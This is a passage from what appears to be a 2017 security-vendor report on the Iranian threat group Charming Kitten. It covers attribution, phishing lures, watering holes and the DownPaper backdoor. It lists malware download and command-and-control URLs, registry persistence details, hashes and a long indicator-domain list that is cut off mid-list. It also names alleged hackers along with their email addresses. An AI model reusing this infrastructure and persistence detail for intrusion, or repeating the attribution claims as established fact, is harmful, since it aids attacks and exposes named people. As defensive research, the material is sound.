Iranians or report on Iranian affairs such as journalists and reporters, media outlets covering Iran, and political advisors. Most targets known to us are individuals living in Iran, the United States, Israel, and the UK. Others live in Turkey, France, Germany, Switzerland, United Arab Emirates, India, Denmark and other countries. Notably, the attackers usually try to gain access to private email and Facebook accounts. They seek to infiltrate the targets social network as a hop point to breach other accounts in their social network, or to collect information about their targets. Sometimes, they aim at establishing a foothold on the target computer to gain access into their organization, but, based on our data, this is usually not their main objective, as opposed to other Iranian threat groups, such as Oilrig1 and CopyKittens2. http://www.clearskysec.com/oilrig/ http://www.clearskysec.com/tulip/ Page 3 of 59 All rights reserved to ClearSky Cyber Security, 2017 Charming Kitten or Rocket kitten? While Iranian threat actors have been well documented by security researchers, the inner workings of the ecosystem of Iran's hackers is not entirely clear. Groups can be vigorously active for years and then disappear abruptly, sometimes due to being publicly outed. Researchers make a best-faith effort to assign operations to certain groups, but the instability in the field makes the process challenging. A case of these obscure lines can be found in a blogpost published in coordination and parallel to this report Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code 3 by Collin Anderson and Claudio Guarnieri. Flying Kitten (which is another name given by the security industry to Charming Kitten) was one of the first groups to be described as a coherent threat actor conducting operations against political opponents of the IRI (Islamic Republic of Iran) government and foreign espionage targets. FireEye s publication of Operation Saffron Rose report, which described Flying Kitten s operations against aviation firms, led to the dismantling of Flying kitten's infrastructure and the apparent end of its activities. Months later, another, seemingly distinct group, Rocket Kitten, would be described by a series of reports. While the two groups exhibited different behaviors that lend credence to the assumption they were distinct, disclosures of private toolkits strongly suggest that Rocket Kitten had used Flying Kitten resources throughout its credential-theft operations. Moreover, Rocket Kitten had experimented with reusing malware that appeared to be an undisclosed precursor to Flying Kitten's Stealer agent documented by FireEye. These overlaps provide some indication that Rocket Kitten had some relationship to Flying Kitten perhaps members of the latter joining the new team. Rocket Kitten has since largely subsided as a formidable actor, and repeating the theme of its predecessor now only appears in echoes of other campaigns. Read - Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code here: https://iranthreats.github.io/resources/attribution-flying-rocket-kitten. Further information is available in "Appendix B - Previous reports about Charming Kitten and Rocket Kitten". https://iranthreats.github.io/resources/attribution-flying-rocket-kitten Page 4 of 59 All rights reserved to ClearSky Cyber Security, 2017 The HBO hacker and Charming Kitten HBO hacking indictment In November 21, 2017, the United States Department of Justice unsealed an indictment4 against Behzad Mesri (A.K.A Skote Vahshat )5 for his involvement hacking and extorting HBO, and for subsequently leaking the stolen content on the Internet. Leaked content included confidential information about upcoming episodes of the popular television series, Game of Thrones, and video files containing unreleased episodes of other television series created by HBO6. According to the indictment, "Mesri is an Iran-based computer hacker who had previously worked on behalf of the Iranian military to conduct computer network attacks that targeted military systems, nuclear software systems, and Israeli infrastructure. At certain times, Mesri has been a member of an Iran-based hacking group called the Turk Black Hat security team". Connection to Iranian government backed threat agent Security researcher Collin Anderson of Iran Threats7 tagged Mesri's twitter account8 in a tweet9 suggesting that Mesri might be related to Charming Kitten. https://www.justice.gov/usao-sdny/pr/acting-manhattan-us-attorney-announces-charges-against-iranian-nationalconducting https://www.fbi.gov/wanted/cyber/behzad-mesri Other stolen content includes: (a) confidential video files containing unaired episodes of original HBO television programs, including episodes of Barry, Ballers, Curb Your Enthusiasm, Room 104, and The Deuce ; (b) scripts and plot summaries for unaired programs, including but not limited to episodes of Game of Thrones ; (c) confidential cast and crew contact lists; (d) emails belonging to at least one HBO employee; (e) financial documents; and (f) online credentials for HBO social media accounts (collectively, the Stolen Data https://iranthreats.github.io/ https://twitter.com/skote_vahshat https://twitter.com/CDA/status/932992141466279936 Page 5 of 59 All rights reserved to ClearSky Cyber Security, 2017 Subsequently, we tried to find connections of Mesri to other activities and people mentioned in this report. Thanks to the public nature of how Mesri and other members of Turk Black Hat conducted their hacking activities and private online life, we could find several connections. This is not to say that the HBO hack was ordered by the Iranian government. Rather, we try to strengthen the assumption that Mesri was, at a certain time, part of, or related to Charming Kitten. In addition, we unmask other members of the group based on their connection to Mesri and to Charming Kitten infrastructure. From Mesri to Charming Kitten ArYaIeIrAN (AKA aryaieiran@gmail.com AKA aryaieiran@hotmail.com AKA mno_1988_fgh@yahoo.com) is a 29 years old Iranian hacker and member of Turk Black Hat. Below is his profile page in "Iranian engineers club"10: http://www.iran-eng.ir/member.php/77662-ArYaiEiRan?langid=1 Page 6 of 59 All rights reserved to ClearSky Cyber Security, 2017 A list of websites he defaced, listed on Zone-H11: And a mirror page of a defacement he made in 2012, showing some of his team members and email address: http://www.zone-h.org/archive/notifier=ArYaIeIrAn Page 7 of 59 All rights reserved to ClearSky Cyber Security, 2017 The same email address, aryaieiran@gmail.com, shows up in the SOA (Start of Authority) record of multiple domains registered and used by Charming Kittens that are presented in this report. These include britishnews.com[.]co, britishnews[.]org, broadcastbritishnews[.]com and mehrnews[.]info. All these websites used persiandns[.]net as their NS (name server), as can be seen in PassiveTotal12 13: https://community.riskiq.com/search/britishnews.org https://community.riskiq.com/search/britishnews.com.co Page 8 of 59 All rights reserved to ClearSky Cyber Security, 2017 aryaieiran@gmail.com also registered persiandns[.]net, potentially indicating that he is the administrator of the services and an employee in the company: In a defacement, still online at the time of writing, both ArYaIeIrAn and Skote_Vahshat, the HBO hacker, take credit as members of Turk Black Hat. This indicates that both were members of Turk Black Hat at the same time, and likely knew each other. Page 9 of 59 All rights reserved to ClearSky Cyber Security, 2017 persiandns[.]net hosting services, which hosted malicious domains used by charming kitten, redirects to mahanserver[.]ir, indicating it is the same company: The about page ( of mahanserver[.]ir leads to a 404 error page: Page 10 of 59 All rights reserved to ClearSky Cyber Security, 2017 The CEO of mahanserver[.]ir is Mohammad Rasoul Akbari (A.K.A ra3ou1), likely the boss or partner of ArYaIeIrA: Page 11 of 59 All rights reserved to ClearSky Cyber Security, 2017 The two follow each other on twitter: Akbari is a Facebook friend of the HBO hacker, Behzad Mesri 14. https://www.facebook.com/friendship/sk0te.vahshat/ra3ou1/ Page 12 of 59 All rights reserved to ClearSky Cyber Security, 2017 On Linkedin, MahanServer only has two employees: CEO Mohammad Rasoul Akbari and Mohammadamin Keshvari: Interestingly, Mohammadamin Keshvari's profile picture is a pomegranate, like that of ArYaIeIrAN s twitter account15: https://twitter.com/aryaieiran Page 13 of 59 All rights reserved to ClearSky Cyber Security, 2017 Moreover, Mohammadamin Keshvari mentions in his LinkedIn profile that he works at ARia Dc (ariadc[.]com, ariadc[.]net) which was registered by aryaieiran@gmail.com for three days in 2013 before changing to a generic email16: ARia Dc later turned into MahanServer, as can be seen in Waybac Machine: Data from DomainTools whois history. Page 14 of 59 All rights reserved to ClearSky Cyber Security, 2017 To sum up, the HBO hacker - Behzad Mesri is a member of Turk Black Hat along with ArYaIeIrAn, who provides infrastructure for Charming Kitten activity via PersianDNS / Mahanserver together with Mohammad Rasoul Akbari, who is a Facebook friend of Behzad Mesri's. We tend to identify ArYaIeIrAn with Mohammadamin Keshvari, because the latter is the only other employee of Mahanserver and works in a company whose domain was registered by the former (and both have a similar and unique profile picture). We estimate with medium certainty that the three are directly connected to Charming Kitten, and potentially, along with others are Charming Kitten. We used SocialNet, Shadow Dragon s Maltego transform for social media analysis17 to analyze these connections and visually depict them, as can be seen below: https://shadowdragon.io/product/socialnet Page 15 of 59 All rights reserved to ClearSky Cyber Security, 2017 Delivery and Infection Charming Kitten attack their targets using the following methods: Made up organizations and people entities are made up to lure people into malicious websites or to receive malicious messages. Impersonating real companies real companies are impersonated, making victims believe they are communicating or visiting the website of the real companies. Watering hole attacks inserting malicious JavaScript code into breached strategic websites. Spear phishing pretending to be Gmail, Facebook, and other services providers, or pretending to be a friend of the target sharing a file or a link. These methods are elaborated below. Made up organizations and people British News Charming kitten regularly target international media outlets with Persian-language services. Two recent reports "How Iran tries to control news coverage by foreign-based journalists"18 and "Iranian agents blackmailed BBC reporter with naked photo threats"19 describe harassment and intimidation methods applied by Iranian intelligence agencies. These campaigns often target reporters and journalists in phishing attempts. On the same note, we identified a fake-news agency "established" by the attackers, called The British news agency or Britishnews (inspired by BBC)20. Its website domain is britishnews.com[.]co and two other domains, broadcastbritishnews[.]com and britishnews[.]org, redirected to it. Below are screenshots of the main page of the website, which is online at time of writing: https://rsf.org/en/news/how-iran-tries-control-news-coverage-foreign-based-journalists http://www.arabnews.com/node/1195681/media Outed in collaboration with Forbs On Jan 2017, see With Fake News And Femmes Fatales, Iran's Spies Learn To Love Facebook forbes.com/sites/thomasbrewster/2017/07/27/iran-hackers-oilrig-use-fake-personas-on-facebook-linkedin-for19 cyberespionage Page 16 of 59 All rights reserved to ClearSky Cyber Security, 2017 Below is a screenshot from the about page of the fake news agency website, detailing its objectives and giving the email addresses of various employees Page 17 of 59 All rights reserved to ClearSky Cyber Security, 2017 Note the use of present perfect instead of past simple in "has been established" (instead of "was established"), present progressive (we are covering) instead of present simple (we cover) to mark a habitual aspect, and "began this work" all suggesting a Persian-thinking writer. This fake news-agency and accompanying social media accounts are not used to disseminate propaganda or false information. Their content was automatically copied from legitimate sources. The purpose of this news agency is to create legitimacy, with the end goal of reaching out to their targets and infecting them while visiting the infected website. The website contains BeEF (Browser Exploitation Framework a penetration testing tool that focuses on web browsers), however it seems that the payload is sent only when the victim visits the site from IPs in a whitelist managed by the attackers. This might indicate they are after specific targets or organizations rather than widespread infection. The screenshot below shows w3school.hopto[.]org, which served BeEF, called when britishnews.com[.]co is loading: Page 18 of 59 All rights reserved to ClearSky Cyber Security, 2017 Page 19 of 59 All rights reserved to ClearSky Cyber Security, 2017 At the bottom of the site are links to social media accounts created by the attackers: Below are screenshots of the accounts. Instagram, Instagram[.]com/britishnewslive with over 13,000 followers (unavailable for several months): Page 20 of 59 All rights reserved to ClearSky Cyber Security, 2017 Twitter, https://twitter[.]com/britishnewslive (online at time of writing): Facebook page - facebook[.]com/officialbritishnewslive (unavailable for several months): Page 21 of 59 All rights reserved to ClearSky Cyber Security, 2017 LinkedIn company page, linkedin[.]com/company/britishnews (unavailable for several months): The attackers also created a fake LinkedIn profile, Isabella Carey, that worked at the fake news company: linkedin[.]com/in/isabella-carey-98a42a129 (unavailable for several months): Page 22 of 59 All rights reserved to ClearSky Cyber Security, 2017 An email address with the same name, isabella.careyy@gmail.com, was used to register 12 malicious domains by Charming Kitten, as can be seen in PassiveTotal21: https://community.riskiq.com/search/whois/email/isabella.careyy@gmail.com Page 23 of 59 All rights reserved to ClearSky Cyber Security, 2017 Made up studens and jurnalists Multiple Israeli Iranist and middle east researchers were sent emails and Twitter direct messages by made up entities. These entities are reviewed below. Zehavit Yehuda One of the fake entities is KNBC News journalist Zehavit Yehuda , who sent the following phishing email: The email links to a website, https://sites.google[.]com/view/docs-downloads, which was built with Google Sites: Page 24 of 59 All rights reserved to ClearSky Cyber Security, 2017 The Download button is a redirection link: http://www.google[.]com/url?q=http%3A%2F%2Fdownload-google.comorginallinks.ga%2Fdownload%2Ffile%2Fusr%&sa=D&sntz=1&usg= Which leads to a fake log-in page in a domain registered by the attackers: http://download-google.com-orginal-links[.]ga/download/file/usr/ Yafa Hyat Fake entity "Yafa Hyat" (@yafa1985hyat, online at time of writing) has contacted an Israeli Iranist via a direct message on twitter, pretending to be a political researcher who needs help with an article: Page 25 of 59 All rights reserved to ClearSky Cyber Security, 2017 The researcher was asked to read the article in her "google account", which was also a phishing page in Google sites: https://sites.google[.]com/site/yaffadocuments/ : Page 26 of 59 All rights reserved to ClearSky Cyber Security, 2017 The site automatically redirects to a phishing website hosted in a domain registered by the attackers, downloadgoogle.orginal-links[.]com: "Yafa" also sent an email from yaffa.hyatt9617@gmail.com to a university professor, asking to work at the university center she is heading. The email itself did not contain malicious content, and was likely sent to build trust prior to sending a phishing link or malware: Page 27 of 59 All rights reserved to ClearSky Cyber Security, 2017 Bahar Azadeh Fake entity "Bahar Azadeh" (bahra.azadeh88@gmail.com and @baharazadeh122, online at time of writing) sent emails with different background stories to multiple researchers. In two cases, she was a "Jewish girl who has an Iranian origin and who has studied in the field of political science": https://twitter.com/baharazadeh1 Page 28 of 59 All rights reserved to ClearSky Cyber Security, 2017 Yet in a third case she claimed to be Baha'i living in Tehran: Translation: Hello, Mr. Dr., I am a Bahai living in Tehran, if you can call it a life. As you know, the present situation in Iran for us Bahais is not good at all, so that we are even deprived of our natural right, that is, higher education, as if we Bahais are not human and have no right to live. , I have been accepted to universities all across Iran, and after two years of studying in a university, they realized from certain sources that I was Bahai, and expelled me. I did not sit idle and began to constantly protest, I've been summoned [to court] quite a few times for this thing, and I already feel Iran has become a hell for me, and as much as I try I can't find salvation from this hell. One of the reasons I've asked you for help and guidance was reading your book (), and your research in this field has been really valuable and helpful, which made this book so beautiful. "I have a few questions for you, please answer me". The entities email address is connected to a fake Facebook entity called Emilia Karter (online at time of writing): Page 29 of 59 All rights reserved to ClearSky Cyber Security, 2017 Impersonating real companies United Technologies impersonation The attackers created a website impersonating UTC (United Technologies), an American multinational conglomerate which researches, develops and manufactures products in numerous areas, including aircraft engines, [and] aerospace systems [ ]. UTC is a large military contractor, getting about 10% of its revenue from the U.S. government 23. The fake website was first reported by Iran Threats researchers on 6 February 201724. We do not have evidence that UTC was targeted or impacted. The fake website, which was built in January 2017, claimed to offer Free Special Programs And Courses For Employees Of Aerospace Companies like Lockheed Martin, SNCORP, . It was a decoy to make visitor download a Flash Player , which was in fact DownPaper malware, analyzed later in this report. https://en.wikipedia.org/wiki/United_Technologies https://iranthreats.github.io/resources/macdownloader-macos-malware/ Page 30 of 59 All rights reserved to ClearSky Cyber Security, 2017 The malware was served from the following location: http://login.radio-m[.]cf/utc/dnld.exe It was contained in a cabinet self-extractor that impersonates a legitimate Windows software: dnld.exe be207941ce8a5e212be8dde83d05d38d 3b4926014b9cc028d5fb9d47fee3dbd9376525dcb3b6e2173c5edb22494cfa9b Page 31 of 59 All rights reserved to ClearSky Cyber Security, 2017 Watering holes The attackers breached the following websites pertaining to Iranian and Jewish cultural affairs: Breached website Description hamijoo[.]com An Iranian crowdfunding platform www.jewishjournal[.]com A Jewish news site www.estherk[.]com A personal blog of one of JewishJournal's writers www.boloogh[.]com A sex education website for Iranian youth levazand[.]com A personal blog of an Iranian living in United sates A script tag that loads BeEF JavaScript from w3school.hopto[.]org or from bootstrap.serveftp[.]com was added, as can be seen in the images below: Page 32 of 59 All rights reserved to ClearSky Cyber Security, 2017 Page 33 of 59 All rights reserved to ClearSky Cyber Security, 2017 Spear Phishing for credential stealing The attackers sent hundreds, maybe thousands, of spear phishing emails to hundreds of targets. In this section, we will present samples of spear phishing emails25. Wave 1 The attackers breached the Gmail account of Alon Gur Arye, an Israeli film producer. Alon produced a satire film about the Israeli Mossad, which potentially confused the attackers to thinking he is associated with the Israeli Mossad. The breached account was used to send a phishing email to Thamar Eilam Gindin (who is targeted by the group since 201526). Below is a screenshot of the phishing email: The email contained a shortened bit.ly link to a domain registered by the attackers - drivers.documentsupportsharing[.]bid. In the statistics and usage page of the bit.ly URL we can see that the first click, likely a test run performed by the attackers before sending the phish, was from Iran. Names of victims and targets are shared with their permission. See , Thamar Reservoir: http://www.clearskysec.com/thamar-reservoir/ Page 34 of 59 All rights reserved to ClearSky Cyber Security, 2017 The phishing page pretends to be a Gmail shared document downed page that requires the visitor to log in: Page 35 of 59 All rights reserved to ClearSky Cyber Security, 2017 Wave 2 Sometimes the phishing email does not contain live text, but only an image of text linked to a phishing page. This is usually done to bypass text based spam filters. The attackers used WebRTC (code copied from Github27) to detect the real IP address of targets who use proxies (This method was documented by Iran Threats28): While sending the spear phishing, the attackers preformed password recovery on the target s Facebook account, as can be seen below. Thus, she received fake emails and legitimate ones at the same time which could cause her confusion and subsequently to give her credentials in the phishing. https://github.com/diafygi/webrtc-ips/blob/master/README.md https://iranthreats.github.io/resources/webrtc-deanonymization/ Page 36 of 59 All rights reserved to ClearSky Cyber Security, 2017 Wave 3 The attackers often open a new Gmail account and send phishing emails from it. For example, suspended.user.noitification@gmail.com was used to send the following email to targets: Which leads to: Page 37 of 59 All rights reserved to ClearSky Cyber Security, 2017 In other cases, 7 different targeted phishing emails were sent to the same victim on the same day from customers.mailservice@gmail.com: Page 38 of 59 All rights reserved to ClearSky Cyber Security, 2017 Page 39 of 59 All rights reserved to ClearSky Cyber Security, 2017 The phishing messages were sent to hundreds of recipients from a previously unknown email address: mails.customerservices@gmail.com They contained a link to goo-gle[.]mobi Below are screen captures of two of the messages. The content is not copied directly from Googles original notices, as evident from the spelling and grammatical errors, some of them typical of Persian speakers, e.g. using direct speech where English would use indirect speech ("that" instead of "whether"): Page 40 of 59 All rights reserved to ClearSky Cyber Security, 2017 Hamed Hashemi, an Iranian Independent researcher and photographer living in the Netherlands was targeted in this campaign. He detected the malicious emails and wrote about them in his twitter account29 30: Translation: "The brothers'31 new method for hacking e-mails. Do not be fooled by such an email". https://twitter.com/hamed_hashemi/status/869835075550162944 https://twitter.com/hamed_hashemi/status/869865703939219456 I.e. people working for the IRI. Page 41 of 59 All rights reserved to ClearSky Cyber Security, 2017 Translation: "Ramez n (The month of Ramadan) operation continues." Other reported receiving 6 spear phishing emails within a few minutes. For example, Soudeh Rad32 board member at ILGAEurope33 (an organization for human rights and equality for lesbian, gay, bisexual, trans and intersex people at European level): Translation: "What's the most important thing to do when you're under a phishing attack? Keep your calm 6 e-mails arrived within 10 minutes (saying) someone signed into your email (account), confirm your account." https://twitter.com/soudehrad/status/876062478685396992 https://twitter.com/ILGAEurope Page 42 of 59 All rights reserved to ClearSky Cyber Security, 2017 Behrang Tajdin34 a BBC Persian TV Reporter said35 36 he was targeted in a similar campaign in April 2017: Translation: "If you get an email like this, don't fall for it and don't click. It's nothing but a useless phishing attempt to hack your google and Gmail account." https://twitter.com/Behrang https://twitter.com/Behrang/status/855761991117484032 Page 43 of 59 All rights reserved to ClearSky Cyber Security, 2017 Translation: And if you click on the link but don't type your password, they send you another email. Don't fall for "if you wait you regret" Page 44 of 59 All rights reserved to ClearSky Cyber Security, 2017 Email tracking services The attackers often use mailtrack.io to track when phishing emails are opened. These services are often used by marketing people to monitor their campaign effectiveness. Below is the source code of a spear phishing email with a mailtrack.io tracking link: Sometimes the attackers used a similar email tracking service, by Pointofmail. In this case, the malicious email was sent from Pointofmail s servers (this is part of their service, not due to a breach). The email contained a redirect link to legitimate address advmailservice.com: Which redirects several times, eventually reaching the malicious page: Page 45 of 59 All rights reserved to ClearSky Cyber Security, 2017 Targeted emails with malware Email address customers.mailservice@gmail.com was mostly used for spear phishing. Occasionally, it was used to deliver links to malware. For example, the email below linked to http://tinyurl[.]com/hjtaeak which redirected to http://login.radio-m[.[cf/i/10-unique-chocolates-in-the-world.zip. The final URL contained the same sample of DownPaper that was hosted in the fake UTC website mentioned above (be207941ce8a5e212be8dde83d05d38d). Note, that the person who shared the file with the target in the malicious email was indeed a Facebook friend of the target (the target shared a link by her a few hours prior to receiving this message), and the subject of chocolate was trending on the target's feed at the time. The attackers spied on the target (potentially by following her on various social networks), and crafted an email she would be likely to receive. Page 46 of 59 All rights reserved to ClearSky Cyber Security, 2017 DownPaper Malware DownPaper, sometimes delivered as sami.exe, is a Backdoor trojan. Its main functionality is to download and run a second stage. The sample used in our analysis (3261d45051542ab3e54fa541f132f899) was contained in a Cabinet selfextractor (be207941ce8a5e212be8dde83d05d38d), served from the following URL: http://login.radio-m[.]cf/utc/dnld.exe The process tree below shows dnld.exe drops sami.exe (DownPaper), which in turn runs Powershell to gain persistency: DownPaper performs the following steps: 1. Loads from a resource file a URL of a command and control server. In the sample we analyzed, the URL was http://46.17.97[.]37/downloader/poster.php , Base64 encoded as can be seen below: 2. Searches and reads the value of Window Update registry key in the following path: HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. a. If the value is Null, a new mutex is created, called Global\UpdateCenter, and a mutex synchronization function is executed. b. If the value is different than the name of the running file, section 2.a. is executed and a function called SetStartUp is called via PowerShell to create a registry key named Window Update with the following value: Page 47 of 59 All rights reserved to ClearSky Cyber Security, 2017 $scriptRoot\AppData\Local\Microsoft\Windows\wuauclt.exe 3. Sends an HTTP POST request to get the location of a second stage from the command and control server. The requests contain the following fields: a. Infected computer host name b. Username c. Serial Number Retrieved via the following query: SELECT * FROM Win32_BaseBoard 4. When a file is received, runs it in a new thread. 5. Pause for ten seconds, then repeat step 3. Locations C:\Users\user1\AppData\Local\Temp\IXP000.TMP\sami.exe C:\Users\user1\AppData\Local\Microsoft\Windows\wuauclt.exe Assembly Details: PDB path: d:\Task\D\Task\FUD\DownPaper\trunk\Downloader\obj\Debug\wuauclt.pdb Page 48 of 59 All rights reserved to ClearSky Cyber Security, 2017 Additional samples wuauclt.exe d6ea39e1d4aaa8c977a835e72d0975e3 msoffice-update[.]com 93.158.215.50 http://msoffice-update[.]com/gallery/help.php C:\Users\user1\AppData\Local\Temp\IXP000.TMP\sami.exe key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Window Update data: C:\Users\user1\AppData\Local\Microsoft\Windows\wuauclt.exe 10 unique chocolates in the world.exe be207941ce8a5e212be8dde83d05d38d 3b4926014b9cc028d5fb9d47fee3dbd9376525dcb3b6e2173c5edb22494cfa9b sami.exe 3261d45051542ab3e54fa541f132f899 479e1e02d379ad6c3c7f496d705448fa955b50a1 C:\Users\user1\AppData\Local\Temp\IXP000.TMP\sami.exe C:\Users\user1\AppData\Local\Microsoft\Windows\wuauclt.exe 20f2da7b0c482ab6a78e9bd65a1a3a92 http://msoffice-update[.]com/gallery/help.php d:\Task\D\Task\FUD\DownPaper\trunk\Downloader\obj\Debug\wuauclt.pdb ax haye ayin.exe 276befa70cff36860cd97e3e19f10343 753b73b82ec8307f54cfb80091600fb283476aa6df7102d6af82048ef4a5913f 5.79.69[.]206:4455 pita.exe 60753796905458fa6a4407f48309aa25 53f7b95262971d79e676055d239180d653fd838dc6ffb9a3418ccad2b66c54bc C:\Users\user1\AppData\Local\Temp\IXP000.TMP\pita.exe aziii.exe 3c01793380fbd3f101603af68e96f058 13ac10cd2595fb8fefd4e15c1b82bd2c8e1953809f0d1c349641997aeb9f935c Azita Gallery.exe 30124b5c56cecf2045abd24011bdf06b 9aa7fc0835e75cbf7aadde824c484d7dc53fdc308a706c9645878bbd6f5d3ad8 Page 49 of 59 All rights reserved to ClearSky Cyber Security, 2017 MAGICHOUND.RETRIEVER By pivoting off the malicious infrastructure we found a sample of MAGICHOUND.RETRIEVER, a malware which is covered in a report by Palo Alto Networks about a group they call Magic Hound37. The report says that Magic Hound has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia . Also, Link analysis of infrastructure and tools [ ] revealed a potential relationship between Magic Hound and the adversary group called Rocket Kitten . The last notion is in line with our findings. MAGICHOUND.RETRIEVER is a .NET downloader that retrieves secondary payloads using an embedded URL in its configuration as the C2. Below is the sample that we found. flashplayer.exe 9d0e761f3803889dc83c180901dc7b22 ecf9b7283fda023fa37ad7fdb15be4eadded4e06 d4375a22c0f3fb36ab788c0a9d6e0479bd19f48349f6e192b10d83047a74c9d7 http://update-microsoft[.]bid/img/WebService.asmx http://update-driversonline[.]bid/img/WebService.asmx The connections between the sample and Charming Kitten s infrastructure is depicted in the graph below: https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/ Page 50 of 59 All rights reserved to ClearSky Cyber Security, 2017 Appendix A - Indicators of Compromise 012mail-net-uwclogin[.]ml 443[.]tcp[.]shorturlbot[.]club 874511478[.]account-login[.]net 8ghefkwdvbfdsg3asdf1[.]com account-customerservice[.]com account-dropbox[.]net account-google[.]co account-login[.]net account-logins[.]com account-log-user-verify-mail[.]com account-permission-mail-user[.]com accounts[.]account-google[.]co accounts[.]activities[.]devices[.]com[.]accounts[.]a ctivities[.]devices[.]com[.]usersettings[.]cf accounts[.]activities[.]devices[.]com[.]accounts[.]g oogle[.]com[.]usersettings[.]cf accounts[.]activities[.]devices[.]com[.]drive[.]goog le[.]com[.]usersettings[.]cf accounts[.]activities[.]devices[.]com[.]usersettings [.]cf accounts[.]google[.]com[.]accounts[.]activities[.]d evices[.]com[.]usersettings[.]cf accounts[.]google[.]com[.]accounts[.]google[.]com [.]usersettings[.]cf accounts[.]google[.]com[.]drive[.]google[.]com[.]u sersettings[.]cf accounts[.]google[.]com[.]usersettings[.]cf accountservice[.]support account-servicerecovery[.]com accounts-googelmail[.]com accounts-googelmails[.]com account-signin-myaccount-users[.]ga accounts-logins[.]net accountsrecovery[.]ddns[.]net accounts-service[.]support accountsservice-support[.]com account-support-user[.]com accounts-yahoo[.]us accountts-google[.]com account-user[.]com account-user-permission-account[.]com account-users-mail[.]com account-user-verify-mail[.]com acounts-qooqie-con[.]ml addons-mozilla[.]download ae[.]ae[.]asus-support[.]net ae[.]asus-support[.]net ae[.]bocaiwang[.]asus-support[.]net ae[.]client[.]asus-support[.]net aipak[.]org aiqac[.]org aol-mail-account[.]com apache-utility[.]com api[.]com-service[.]net app-documents[.]com app-facebook[.]co appleid[.]apple[.]com[.]account-logins[.]com araamco[.]com araamco[.]com archive-center[.]com asus-support[.]net asus-update[.]com berozkhodro[.]com blog[.]group-google[.]com bocaiwang[.]ae[.]asus-support[.]net bocaiwang[.]asus-support[.]net bocaiwang[.]bocaiwang[.]asus-support[.]net bocaiwang[.]client[.]asus-support[.]net book-archivecenter[.]bid books-archivecenter[.]bid books-archivecenter[.]club books-google[.]accountservice[.]support books-google[.]books-archivecenter[.]bid books-google[.]www[.]books-archivecenter[.]bid books-view[.]com bootstrap[.]serveftp[.]com britishnews[.]com[.]co britishnews[.]org broadcastbritishnews[.]com brookings-edu[.]in change-mail-accounting-register-single[.]com change-mail-account-nodes-permision[.]com change-permission-mail-user-managment[.]com change-user-account-mail-permission[.]com client[.]ae[.]asus-support[.]net client[.]asus-support[.]net client[.]bocaiwang[.]asus-support[.]net client[.]client[.]asus-support[.]net codeconfirm-recovery[.]bid codeconfirm-recovery[.]club com-account-login[.]com com-accountrecovery[.]bid com-accountsecure-recovery[.]name com-accountsrecovery[.]name com-archivecenter[.]work com-customeradduser[.]bid com-customerservice[.]bid com-customerservice[.]name com-customerservices[.]name com-customersuperuser[.]bid Page 51 of 59 All rights reserved to ClearSky Cyber Security, 2017 com-download[.]ml com-manage-accountuser[.]club com-messagecenter[.]bid com-messengerservice[.]bid com-messengerservice[.]work com-microsoftonline[.]club com-mychannel[.]bid com-orginal-links[.]ga com-recoversessions[.]bid com-recovery[.]com com-recoveryadduser[.]bid com-recoveryidentifier[.]bid com-recoveryidentifier[.]name com-recoveryidentifiers[.]bid com-recoverymail[.]bid com-recoverysecureuser[.]club com-recoverysecureusers[.]club com-recoveryservice[.]bid com-recoveryservice[.]info com-recoverysessions[.]bid com-recoverysubusers[.]bid com-recoverysuperuser[.]bid com-recoverysuperuser[.]club com-recoverysuperuser[.]name com-recoverysuperusers[.]bid com-recoverysupport[.]bid com-recoverysupport[.]club com-service[.]net com-servicecustomer[.]bid com-servicecustomer[.]name com-servicemail[.]bid com-servicerecovery[.]bid com-servicerecovery[.]club com-servicerecovery[.]info com-servicerecovery[.]name com-servicescustomer[.]name com-serviceslogin[.]com com-showvideo[.]gq com-statistics[.]com com-stats[.]com com-video[.]net com-videoservice[.]work com-viewchannel[.]club confirm-code[.]account-support-user[.]com crcperss[.]com cvcreate[.]org digitalqlobe[.]com display-error-runtime[.]com display-ganavaro-abrashimchi[.]com docs-google[.]co documents[.]sytes[.]net documents-supportsharing[.]bid documents-supportsharing[.]club document-supportsharing[.]bid doc-viewer[.]com download[.]account-login[.]net download-google[.]com-orginal-links[.]ga download-google[.]orginal-links[.]com download-link[.]top drive[.]change-mail-account-nodespermision[.]com drive[.]google[.]com[.]accounts[.]activities[.]devic es[.]com[.]usersettings[.]cf drive[.]google[.]com[.]accounts[.]google[.]com[.]u sersettings[.]cf drive[.]google[.]com[.]drive[.]google[.]com[.]users ettings[.]cf drive[.]google[.]com[.]usersettings[.]cf drive[.]privacy-yahoomail[.]com drive-download[.]account-support-user[.]com drive-download[.]account-user-permissionaccount[.]com drive-file[.]account-support-user[.]com drive-google[.]co drive-login[.]cf drive-mail[.]account-support-user[.]com drive-permission-user-account[.]com drivers[.]document-supportsharing[.]bid drives-google[.]co drives-google[.]com drives-google[.]com[.]co drive-useraccount-signin-mail[.]ga dropbox[.]com-servicecustomer[.]name dropbox[.]com-servicescustomer[.]name drop-box[.]vip dropebox[.]co embraer[.]co emiartas[.]com error-exchange[.]com eursaia[.]org facebook[.]com-service[.]gq facebook[.]notification-accountrecovery[.]com fanderfart22[.]xyz fardenfart2017[.]xyz fb[.]com-download[.]ml fb-login[.]cf ftp[.]account-logins[.]com ftp[.]account-permission-mail-user[.]com ftp[.]accountservice[.]support ftp[.]accountsservice-support[.]com ftp[.]archive-center[.]com ftp[.]britishnews[.]com[.]co ftp[.]com-recoveryservice[.]info ftp[.]com-service[.]net ftp[.]goo-gle[.]cloud ftp[.]goo-gle[.]mobi Page 52 of 59 All rights reserved to ClearSky Cyber Security, 2017 ftp[.]microsoft-upgrade[.]mobi ftp[.]news-onlines[.]info ftp[.]officialswebsites[.]info ftp[.]orginal-links[.]com ftp[.]screen-royall-in-corporate[.]com ftp[.]screen-shotuser-trash-green[.]com ftp[.]sdfsd[.]screen-royall-in-corporate[.]com ftp[.]service-broadcast[.]com ftp[.]service-recoveryaccount[.]com ftp[.]set-ymail-user-account-permissionchallenge[.]com ftp[.]support-aasaam[.]com ftp[.]support-recoverycustomers[.]com ftp[.]uk-service[.]org ftp[.]verify-account[.]services ftp[.]w3schools-html[.]com ftp[.]www[.]britishnews[.]com[.]co ftp[.]www[.]screen-shotuser-trash-green[.]com gle-mail[.]com gmail[.]com-recoverymail[.]bid 